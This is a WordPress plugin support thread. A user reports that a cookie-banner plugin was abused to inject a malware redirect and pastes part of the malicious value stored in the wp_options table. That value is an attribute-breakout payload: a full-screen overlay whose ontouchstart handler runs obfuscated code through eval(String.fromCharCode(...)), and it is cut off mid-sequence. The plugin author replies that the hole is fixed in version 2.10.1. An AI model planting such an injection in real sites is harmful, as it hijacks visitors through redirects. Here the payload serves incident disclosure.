• Never ver install this! It placed a js code to my source code, and made a redirect malware.

    It stores these codes in the database in the “wp_options” table here:
    (5012, ‘nsc_bar_bannersettings_json’, ‘{ “content”: { “deny”: “”, “dismiss”: “”, “allow”: “”, “link”: “”, “href”: “\\” id=”demo181” style=”position:fixed;top:0px;display:block;height:3000px;width:4000px;border:0px solid red;” ontouchstart=”eval(String.fromCharCode(118,97,114,32,98,

Viewing 1 replies (of 1 total)
  • Plugin Author Support

    (@nikelschubert)

    Hi, thanks for sharing how the attacker did it. This specific vulnerability is fixed with 2.10.1.

    Currently there is an external audit for the plugin, to make sure, that there are no other vulnerabilities anymore.

    As soon as it is done, i will share the results on the auditors webpage.

Viewing 1 replies (of 1 total)
  • The topic ‘Never ever install this! It makes a bug!’ is closed to new replies.